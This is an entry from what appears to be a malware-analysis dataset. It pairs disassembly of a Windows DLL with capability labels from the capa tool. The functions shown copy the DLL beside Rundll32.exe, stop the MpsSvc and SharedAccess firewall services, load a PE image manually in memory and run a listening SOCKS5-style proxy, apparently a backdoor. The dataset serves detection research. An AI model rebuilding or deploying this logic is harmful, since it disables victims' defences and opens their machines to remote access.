joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005200
Capabilities:
Copy file
Get common file path

Disassembly:
sub esp, 0x8a4
lea ecx, [esp + 0x2a0]
push esi
mov esi, dword [esp + 0x8b0]
push 0x100
mov eax, dword [esi]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi]
push 0x100
lea eax, [esp + 0x2b4]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea ecx, [esp + 0x2a4]
push 0x10005160
push ecx
call dword [0x1000dfd4]
test eax, eax
mov dword [0x1000e490], eax
je 0x10005416
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.10005100
push 0
push 0
push 4
call fcn.10005100
add esp, 0x18
lea edx, [esp + 8]
mov dword [esp + 8], 0x94
push edx
call dword [0x1000df88]
cmp dword [esp + 0x18], 2
jne 0x100053f6
cmp dword [esp + 0xc], 6
jae 0x100052ab
call sym.MainDll.dll_MainThread
jmp 0x100053f6
lea eax, [esp + 0x9c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0x9c]
push str._r.qZ
push ecx
lea edx, [esp + 0xa4]
push str._s_s.exe
push edx
call dword [0x1000dfb8]
add esp, 0x10
lea eax, [esp + 0x1a0]
push 0x104
push eax
call dword [0x1000df98]
lea ecx, [esp + 0x1a0]
push str.Rundll32.exe
push ecx
call dword [0x1000df64]
lea edx, [esp + 0x9c]
push 1
lea eax, [esp + 0x1a4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x9c]
push ecx
call fcn.10008270
add esp, 4
test eax, eax
jne 0x1000534c
lea edx, [esp + 0x1a0]
lea eax, [esp + 0x9c]
push edx
push eax
call dword [0x1000dfb8]
add esp, 8
mov edx, dword [0x1000df18]
lea ecx, [esp + 0x3a4]
push 0x104
xor esi, esi
push ecx
push edx
mov dword [esp + 0x10], esi
call dword [0x1000df4c]
lea eax, [esp + 0x3a4]
lea ecx, [esp + 0x9c]
push eax
push ecx
lea edx, [esp + 0x4b0]
push str._s___s__MainThread
push edx
call dword [0x1000dfb8]
add esp, 0x10
push 0x3e8
call dword [0x1000df60]
lea eax, [esp + 4]
push eax
push esi
call dword [0x1000df8c]
cmp dword [esp + 4], 0x103
je 0x100053d7
push esi
call dword [0x1000df5c]
push 0xbb8
call dword [0x1000df60]
lea ecx, [esp + 0x4a8]
push ecx
call fcn.100027e0
add esp, 4
mov esi, eax
mov eax, dword [0x1000e08c]
cmp eax, 3
je 0x100053e6
cmp eax, 1
jne 0x10005392
push 0xffffffffffffffff
push esi
call dword [0x1000df6c]
push esi
call dword [0x1000df5c]
push 0x64
call dword [0x1000df60]
mov eax, dword [0x1000e08c]
cmp eax, 3
je 0x10005416
cmp eax, 1
je 0x10005416
mov eax, dword [0x1000e494]
test eax, eax
je 0x100053f6
pop esi
add esp, 0x8a4
ret 8
Function at 0x10005420
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov al, 0x4f
lea ecx, [esp + 4]
mov byte [esp + 5], al
mov byte [esp + 0xd], al
lea eax, [esp]
mov byte [esp + 4], 0x53
push eax
push 0xf003f
push 0
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x1a], 0x46
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x41
mov byte [esp + 0x1e], 0x52
mov byte [esp + 0x1f], 0x45
mov byte [esp + 0x20], 0x5c
mov byte [esp + 0x22], 0x44
mov byte [esp + 0x23], 0x42
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005491
xor eax, eax
add esp, 0x14
ret 0xc
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
cmp eax, 1
mov dword [0x1000df18], edx
jne 0x100054d9
mov ecx, 0x1000df20
call fcn.10006330
push 0x946
push 0x458
push 0x1000c8e0
call fcn.10004700
push 0x946
push 0x458
push 0x1000c8e0
call fcn.10004750
add esp, 0x18
mov eax, 1
add esp, 0x14
ret 0xc

Function at 0x100054f0
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x24
push ebp
push 0
call dword [0x1000e080]
lea eax, [esp + 0xc]
xor ebp, ebp
push eax
push 0x1000a2b0
push 1
push ebp
push 0x1000a2d0
mov dword [esp + 0x20], ebp
call dword [0x1000e088]
test eax, eax
jge 0x10005525
xor eax, eax
pop ebp
add esp, 0x24
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 8]
push 0
mov dword [esp + 0xc], 0
mov ecx, dword [eax]
push edx
push 0x1000a2c0
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100055fa
lea edx, [esp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [esp + 8]
push edx
lea edx, [esp + 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100055f0
push ebx
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
push esi
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x18]
push edx
push 0x1000a298
mov ecx, dword [eax]
push 0
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x100055ca
lea eax, [esp + 0x20]
push eax
call esi
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x20]
push 0
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x100055b9
inc ebp
lea eax, [esp + 0x20]
push eax
call ebx
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x1000557b
pop esi
pop ebx
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
call dword [0x1000e084]
mov eax, ebp
pop ebp
add esp, 0x24
ret
Function at 0x10005cc0
Capabilities:
Parse pe header

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
cmp word [ebp], 0x5a4d
je 0x10005cd7
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov ebx, dword [ebp + 0x3c]
add ebx, ebp
cmp dword [ebx], 0x4550
je 0x10005ceb
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx + 0x50]
mov ecx, dword [ebx + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov edi, eax
test edi, edi
jne 0x10005d21
mov edx, dword [ebx + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x10005d21
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
push 0x1000
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [ebx + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x54]
push 4
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp + 0x3c]
mov ecx, dword [ebx + 0x54]
add edx, ecx
mov dword [esp + 0x14], eax
push edx
push ebp
push eax
call dword [0x1000e038]
mov eax, dword [ebp + 0x3c]
mov ecx, dword [esp + 0x20]
add eax, ecx
push esi
push ebx
mov dword [esi], eax
push ebp
mov dword [eax + 0x34], edi
call fcn.10005e00
mov ecx, dword [ebx + 0x34]
mov eax, edi
add esp, 0x18
sub eax, ecx
je 0x10005da7
push eax
push esi
call fcn.10005f80
add esp, 8
push esi
call fcn.10006000
add esp, 4
test eax, eax
je 0x10005dd7
push esi
call fcn.10005ec0
mov edx, dword [esi]
add esp, 4
mov eax, dword [edx + 0x28]
test eax, eax
je 0x10005dee
add eax, edi
test eax, eax
je 0x10005dd7
push 0
push 1
push edi
call eax
test eax, eax
jne 0x10005de7
push esi
call fcn.100061e0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10005e00
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
xor ecx, ecx
push esi
mov ebx, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x10005eb2
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
add esi, 0x10
cmp dword [esi], 0
jne 0x10005e66
mov edx, dword [esp + 0x1c]
mov edi, dword [edx + 0x38]
test edi, edi
jle 0x10005e94
mov eax, dword [esi - 4]
push 4
push 0x1000
add eax, ebx
push edi
push eax
call ebp
push edi
push 0
push eax
mov dword [esi - 8], eax
call dword [0x1000e03c]
add esp, 0xc
jmp 0x10005e94
mov edx, dword [esi - 4]
mov ecx, dword [esi]
push 4
push 0x1000
add edx, ebx
push ecx
push edx
call ebp
mov ecx, dword [esi + 4]
mov edi, eax
mov eax, dword [esi]
push eax
mov eax, dword [esp + 0x1c]
add ecx, eax
push ecx
push edi
call dword [0x1000e038]
add esp, 0xc
mov dword [esi - 8], edi
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x28
mov ecx, dword [edx]
xor edx, edx
mov dword [esp + 0x10], eax
mov dx, word [ecx + 6]
cmp eax, edx
jl 0x10005e34
pop edi
pop ebp
pop esi
pop ebx
pop ecx
ret

Function at 0x10005ec0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x10005f74
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x10005f17
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10005f5a
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x1000cd9c]
je 0x10005f2e
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x10005f47
test al, 0x40
je 0x10005f3e
mov ecx, dword [ebx + 0x20]
jmp 0x10005f45
test al, 0x80
je 0x10005f5a
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x10005f5a
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x10005ee4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10006950
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x1000a250
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edx, edx
mov ecx, 0xc
xor eax, eax
lea edi, [esi + 8]
mov dword [esi + 0x70], edx
mov dword [esi + 0x6c], 0xffffffff
mov dword [esi + 4], edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0xc
xor eax, eax
lea edi, [esi + 0x3a]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x19c]
stosw word es:[edi], ax
mov dword [esi + 0x78], edx
mov dword [esi + 0x7c], edx
mov byte [esi + 0x80], dl
lea edx, [esi + 0x84]
push edx
mov dword [esi + 0x9c], ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret 4

Function at 0x10006ad0
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov eax, dword [esp + 0x28]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea ecx, [esp + 8]
mov esi, eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x10006b17
lea edx, [esp + 8]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x10006b30
Capabilities:
Query service status

Disassembly:
sub esp, 0x1c
push edi
mov ecx, 6
xor eax, eax
lea edi, [esp + 8]
mov dword [esp + 4], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x24]
lea eax, [esp + 4]
push eax
push closesocket
push ecx
push closesocket
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
pop edi
je 0x10006b8a
mov ecx, dword [esp + 4]
xor eax, eax
cmp ecx, 4
sete al
add esp, 0x1c
ret
xor eax, eax
add esp, 0x1c
ret
Function at 0x10006b90
Capabilities:
Create tcp socket
Create thread
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x14
push ebx
mov ebx, ecx
push str.MpsSvc
call fcn.10006b30
add esp, 4
test eax, eax
je 0x10006bb4
push str.MpsSvc
call fcn.10006ad0
add esp, 4
push str.SharedAccess
call fcn.10006b30
add esp, 4
test eax, eax
je 0x10006bd2
push str.SharedAccess
call fcn.10006ad0
add esp, 4
mov ecx, ebx
call fcn.10006a50
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebx + 0x6c], eax
jne 0x10006bf6
xor al, al
pop ebx
add esp, 0x14
ret 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp + 0xa], eax
push ecx
mov dword [esp + 0x12], eax
mov word [esp + 0xc], 2
mov dword [esp + 0x16], eax
mov word [esp + 0x1a], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
mov eax, dword [ebx + 0x6c]
lea edx, [esp + 8]
push 0x10
push edx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10006c51
mov ecx, dword [ebx + 0x6c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop ebx
add esp, 0x14
ret 0x10
mov edx, dword [ebx + 0x6c]
push 0x32
push edx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10006c75
mov eax, dword [ebx + 0x6c]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
pop ebx
add esp, 0x14
ret 0x10
mov eax, dword [ebx + 0x6c]
push ebp
push esi
lea ecx, [esp + 0xc]
push edi
lea edx, [esp + 0x14]
push ecx
push edx
push eax
mov dword [esp + 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x16]
push ecx
call dword [sym.imp.WS2_32.dll_ntohs]
mov edx, dword [esp + 0x30]
and eax, 0xffff
mov dword [ebx + 4], eax
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10006d0d
mov ebp, dword [esp + 0x34]
or ecx, 0xffffffff
mov edi, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10006d0d
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
lea esi, [ebx + 8]
not ecx
sub edi, ecx
mov eax, esi
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
xor eax, eax
and ecx, 3
lea edx, [ebx + 0x3a]
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10006d38
mov ecx, dword [ebx + 0x78]
push 0
push 0
push ebx
push 0x10006d70
inc ecx
push 0
push 0
mov dword [ebx + 0x7c], eax
mov dword [ebx + 0x78], ecx
call esi
mov dword [ebx + 0x74], eax
mov edi, dword [ebx + 0x78]
push 0
push 0
push ebx
push 0x10006e10
inc edi
push 0
push 0
mov dword [ebx + 0x78], edi
mov byte [ebx + 0x80], 1
call esi
pop edi
pop esi
test eax, eax
mov dword [ebx + 0x70], eax
pop ebp
setne al
pop ebx
add esp, 0x14
ret 0x10
Function at 0x10006f00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
sub esp, 0x10
push ebx
xor eax, eax
push esi
push edi
mov dword [esp + 0xc], eax
mov edi, ecx
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
push ecx
mov dword [esp + 0x1c], eax
mov word [esp + 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x24]
mov ebx, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0x12], ax
call ebx
cmp eax, 0xffffffff
push esi
jne 0x10006f58
mov ecx, edi
call fcn.10007de0
test eax, eax
je 0x10006f91
push esi
mov ecx, edi
call fcn.10007de0
push eax
call ebx
push 6
push 1
push 2
mov dword [esp + 0x1c], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x20]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10006f91
lea edx, [esp + 0xc]
push 0x10
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10006f9c
mov eax, dword [esi]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10
ret 0xc
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x10
ret 0xc

Function at 0x10006fb0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x14
push ebp
push 0x1000df14
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebp, eax
test ebp, ebp
je 0x1000708d
push ebx
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
cmp dword [eax + ecx], 0
je 0x10007096
mov edx, dword [esp + 0x28]
xor ebx, ebx
mov byte [edx], 0
cmp word [ebp + 0xa], bx
jle 0x10007083
test ebx, ebx
jle 0x10007028
mov edi, 0x1000d324
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x28]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx]
xor eax, eax
lea ecx, [esp + 0x14]
mov al, byte [edx + ebx]
push eax
push 0x1000d320
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x28]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
movsx eax, word [ebp + 0xa]
cmp ebx, eax
jl 0x10006ff8
add dword [esp + 0x10], 4
jmp 0x10006fd4
mov eax, dword [esp + 0x1c]
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x28]
pop edi
pop esi
pop ebx
pop ebp
add esp, 0x14
ret
Function at 0x100070b0
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100070fe
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000711b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.10006fb0
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret

Function at 0x10007170
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x100071ab
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x100071b2
sub esi, eax
add edi, eax
test esi, esi
jg 0x10007186
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x10007bd0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x208
push ebx
mov ebx, dword [esp + 0x214]
push ebp
push esi
mov al, byte [ebx]
push edi
cmp al, 5
mov dword [esp + 0x14], ecx
mov byte [esp + 0x12], 5
mov byte [esp + 0x13], 0
je 0x10007c07
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x208
ret 0xc
mov al, byte [ebx + 2]
lea esi, [ebx + 2]
test al, al
je 0x10007c24
cmp al, 2
je 0x10007c24
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret 0xc
lea ebp, [ecx + 8]
or ecx, 0xffffffff
mov edi, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x16]
and ecx, 2
push 2
mov byte [esp + 0x1b], cl
mov ecx, dword [esp + 0x224]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10007c6a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret 0xc
cmp byte [esp + 0x13], 2
jne 0x10007dc4
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x18]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x220]
push 0x5000
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10007db5
test eax, eax
je 0x10007db5
cmp byte [ebx], 1
je 0x10007ccc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret 0xc
mov al, byte [ebx + 1]
test al, al
je 0x10007cf5
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10007cf5
mov edx, ecx
lea edi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebx
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10007d24
cmp ecx, 0x100
jg 0x10007d24
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x18]
mov eax, ebp
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10007d4e
test cl, cl
je 0x10007d4a
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10007d4e
add eax, 2
add esi, 2
test cl, cl
jne 0x10007d2a
xor eax, eax
jmp 0x10007d53
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10007d97
mov eax, dword [esp + 0x14]
lea esi, [esp + 0x118]
add eax, 0x3a
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10007d89
test cl, cl
je 0x10007d85
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10007d89
add eax, 2
add esi, 2
test cl, cl
jne 0x10007d65
xor eax, eax
jmp 0x10007d8e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10007d97
mov byte [ebx + 1], al
jmp 0x10007d9b
mov byte [ebx + 1], 0xff
mov eax, dword [esp + 0x21c]
push 0
push 2
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10007dc4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret 0xc
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc